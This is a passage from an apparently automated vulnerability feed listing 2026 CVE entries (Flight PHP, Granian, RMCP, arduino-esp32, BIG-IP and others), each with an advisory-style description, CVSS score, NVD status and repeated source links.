NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flight is an extensible micro-framework for PHP.
https://kevwire.com/record/CVE-2026-42548
Flight is an extensible micro-framework for PHP. (May 13, 2026).
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42548).
Sources:
NVD CVE-2026-42548: https://nvd.nist.gov/vuln/detail/CVE-2026-42548
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flight is an extensible micro-framework for PHP.
https://kevwire.com/record/CVE-2026-42550
Flight is an extensible micro-framework for PHP. (May 13, 2026).
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db->insert('users', $request->data->getData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42550).
Sources:
NVD CVE-2026-42550: https://nvd.nist.gov/vuln/detail/CVE-2026-42550
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db->insert('users', $request->data->getData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flight is an extensible micro-framework for PHP.
https://kevwire.com/record/CVE-2026-42551
Flight is an extensible micro-framework for PHP. (May 13, 2026).
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42551).
Sources:
NVD CVE-2026-42551: https://nvd.nist.gov/vuln/detail/CVE-2026-42551
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flight is an extensible micro-framework for PHP.
https://kevwire.com/record/CVE-2026-42552
Flight is an extensible micro-framework for PHP. (May 13, 2026).
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, the default error handler Engine::_error() writes the full exception message, exception code, and stack trace (including absolute filesystem paths) directly into the HTTP 500 response, with no debug gating. Production deployments leak internal paths, any secret interpolated into an exception message, and full module structure — giving attackers primitives for chaining other weaknesses (LFI, path traversal). This vulnerability is fixed in 3.18.1.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42552).
Sources:
NVD CVE-2026-42552: https://nvd.nist.gov/vuln/detail/CVE-2026-42552
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Flight is an extensible micro-framework for PHP. Prior to 3.18.1, the default error handler Engine::_error() writes the full exception message, exception code, and stack trace (including absolute filesystem paths) directly into the HTTP 500 response, with no debug gating. Production deployments leak internal paths, any secret interpolated into an exception message, and full module structure — giving attackers primitives for chaining other weaknesses (LFI, path traversal). This vulnerability is fixed in 3.18.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### RMCP is an official Rust SDK for the Model Context Protocol.
https://kevwire.com/record/CVE-2026-42559
RMCP is an official Rust SDK for the Model Context Protocol. (May 14, 2026).
RMCP is an official Rust SDK for the Model Context Protocol. Prior to version 1.4.0, the rmcp crate's Streamable HTTP server transport (crates/rmcp/src/transport/streamable_http_server/) did not validate the incoming Host header. This allowed a malicious public website, via a DNS rebinding attack, to send authenticated requests to an MCP server running on the victim's loopback or private-network interface. This vulnerability is fixed in 1.4.0.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42559).
Sources:
NVD CVE-2026-42559: https://nvd.nist.gov/vuln/detail/CVE-2026-42559
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
RMCP is an official Rust SDK for the Model Context Protocol. Prior to version 1.4.0, the rmcp crate's Streamable HTTP server transport (crates/rmcp/src/transport/streamable_http_server/) did not validate the incoming Host header. This allowed a malicious public website, via a DNS rebinding attack, to send authenticated requests to an MCP server running on the victim's loopback or private-network interface. This vulnerability is fixed in 1.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Python-Multipart is a streaming multipart parser for Python.
https://kevwire.com/record/CVE-2026-42561
Python-Multipart is a streaming multipart parser for Python. (May 13, 2026).
Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.27, python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion. This vulnerability is fixed in 0.0.27.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42561).
Sources:
NVD CVE-2026-42561: https://nvd.nist.gov/vuln/detail/CVE-2026-42561
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.27, python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion. This vulnerability is fixed in 0.0.27.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### azureauthextension is the Azure Authenticator Extension.
https://kevwire.com/record/CVE-2026-42602
azureauthextension is the Azure Authenticator Extension. (May 13, 2026).
azureauthextension is the Azure Authenticator Extension. From 0.124.0 to 0.150.0, a server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azure_auth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42602).
Sources:
NVD CVE-2026-42602: https://nvd.nist.gov/vuln/detail/CVE-2026-42602
Vendor advisory (via NVD references): https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-pjv4-3c63-699f
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
azureauthextension is the Azure Authenticator Extension. From 0.124.0 to 0.150.0, a server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azure_auth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When embedded Packet Velocity Acceleration (ePVA) acceleration is configured, undisclosed local ethernet traffic can cause an increase in ePVA and Traffic Management Microkernel...
https://kevwire.com/record/CVE-2026-42781
When embedded Packet Velocity Acceleration (ePVA) acceleration is configured, undisclosed local ethernet traffic can cause an increase in ePVA and Traffic Management Microkernel... (May 13, 2026).
When embedded Packet Velocity Acceleration (ePVA) acceleration is configured, undisclosed local ethernet traffic can cause an increase in ePVA and Traffic Management Microkernel (TMM) resource utilization.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42781).
Sources:
NVD CVE-2026-42781: https://nvd.nist.gov/vuln/detail/CVE-2026-42781
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When embedded Packet Velocity Acceleration (ePVA) acceleration is configured, undisclosed local ethernet traffic can cause an increase in ePVA and Traffic Management Microkernel (TMM) resource utilization.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-42844
Grav is a file-based Web platform. (May 12, 2026).
Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42844).
Sources:
NVD CVE-2026-42844: https://nvd.nist.gov/vuln/detail/CVE-2026-42844
Vendor advisory (via NVD references): https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ClipBucket v5 is an open source video sharing platform.
https://kevwire.com/record/CVE-2026-42847
ClipBucket v5 is an open source video sharing platform. (May 14, 2026).
ClipBucket v5 is an open source video sharing platform. Prior to 5.5.3 - #122, there is a critical SQL Injection (SQLi) vulnerability in ClipBucket, exploitable through the type parameter on the authenticated admin endpoint admin_area/action_logs.php. The endpoint admin_area/action_logs.php reads $_GET['type'], stores it in $result_array['type'], and forwards it into fetch_action_logs(), where the value is concatenated directly into a SQL WHERE condition on action_type without parameterization. This allows UNION-based SQL injection and direct data exfiltration from the database. This vulnerability is fixed in 5.5.3 - #122.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42847).
Sources:
NVD CVE-2026-42847: https://nvd.nist.gov/vuln/detail/CVE-2026-42847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ClipBucket v5 is an open source video sharing platform. Prior to 5.5.3 - #122, there is a critical SQL Injection (SQLi) vulnerability in ClipBucket, exploitable through the type parameter on the authenticated admin endpoint admin_area/action_logs.php. The endpoint admin_area/action_logs.php reads $_GET['type'], stores it in $result_array['type'], and forwards it into fetch_action_logs(), where the value is concatenated directly into a SQL WHERE condition on action_type without parameterization. This allows UNION-based SQL injection and direct data exfiltration from the database. This vulnerability is fixed in 5.5.3 - #122.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers.
https://kevwire.com/record/CVE-2026-42854
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. (May 12, 2026).
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer multipart form parser in arduino-esp32 allocates a Variable Length Array (VLA) on the stack whose size is derived from an attacker-controlled HTTP header field (Content-Type: multipart/form-data; boundary=...) without enforcing any length limit. Sending a boundary string longer than ~8000 characters overflows the 8192-byte task stack of the loopTask, causing a crash and potential remote code execution. This vulnerability is fixed in 3.3.8.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42854).
Sources:
NVD CVE-2026-42854: https://nvd.nist.gov/vuln/detail/CVE-2026-42854
Vendor advisory (via NVD references): https://github.com/espressif/arduino-esp32/security/advisories/GHSA-8cmm-3887-r32j
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer multipart form parser in arduino-esp32 allocates a Variable Length Array (VLA) on the stack whose size is derived from an attacker-controlled HTTP header field (Content-Type: multipart/form-data; boundary=...) without enforcing any length limit. Sending a boundary string longer than ~8000 characters overflows the 8192-byte task stack of the loopTask, causing a crash and potential remote code execution. This vulnerability is fixed in 3.3.8.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers.
https://kevwire.com/record/CVE-2026-42855
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. (May 12, 2026).
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control. This vulnerability is fixed in 3.3.8.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42855).
Sources:
NVD CVE-2026-42855: https://nvd.nist.gov/vuln/detail/CVE-2026-42855
Vendor advisory (via NVD references): https://github.com/espressif/arduino-esp32/security/advisories/GHSA-28hv-fwm3-rpcq
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control. This vulnerability is fixed in 3.3.8.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### STIGQter is an open-source reimplementation of DISA's STIG Viewer.
https://kevwire.com/record/CVE-2026-42881
STIGQter is an open-source reimplementation of DISA's STIG Viewer. (May 14, 2026).
STIGQter is an open-source reimplementation of DISA's STIG Viewer. From 0.1.2 to before 1.2.7, an attacker can achieve local code execution (LCE) with the privileges of the user running STIGQter. This requires user interaction: the victim must open the malicious .stigqter file and explicitly run the "Export HTML" action. This vulnerability is fixed in 1.2.7.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42881).
Sources:
NVD CVE-2026-42881: https://nvd.nist.gov/vuln/detail/CVE-2026-42881
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
STIGQter is an open-source reimplementation of DISA's STIG Viewer. From 0.1.2 to before 1.2.7, an attacker can achieve local code execution (LCE) with the privileges of the user running STIGQter. This requires user interaction: the victim must open the malicious .stigqter file and explicitly run the "Export HTML" action. This vulnerability is fixed in 1.2.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in BIG-IP systems that may allow an authenticated attacker with administrative access to escalate their privileges.
https://kevwire.com/record/CVE-2026-42919
A vulnerability exists in BIG-IP systems that may allow an authenticated attacker with administrative access to escalate their privileges. (May 13, 2026).
A vulnerability exists in BIG-IP systems that may allow an authenticated attacker with administrative access to escalate their privileges. A successful exploit may allow the attacker to cross a security boundary.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42919).
Sources:
NVD CVE-2026-42919: https://nvd.nist.gov/vuln/detail/CVE-2026-42919
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000158971
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability exists in BIG-IP systems that may allow an authenticated attacker with administrative access to escalate their privileges. A successful exploit may allow the attacker to cross a security boundary.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to...
https://kevwire.com/record/CVE-2026-42920
When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to... (May 13, 2026).
When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.
 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42920).
Sources:
NVD CVE-2026-42920: https://nvd.nist.gov/vuln/detail/CVE-2026-42920
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
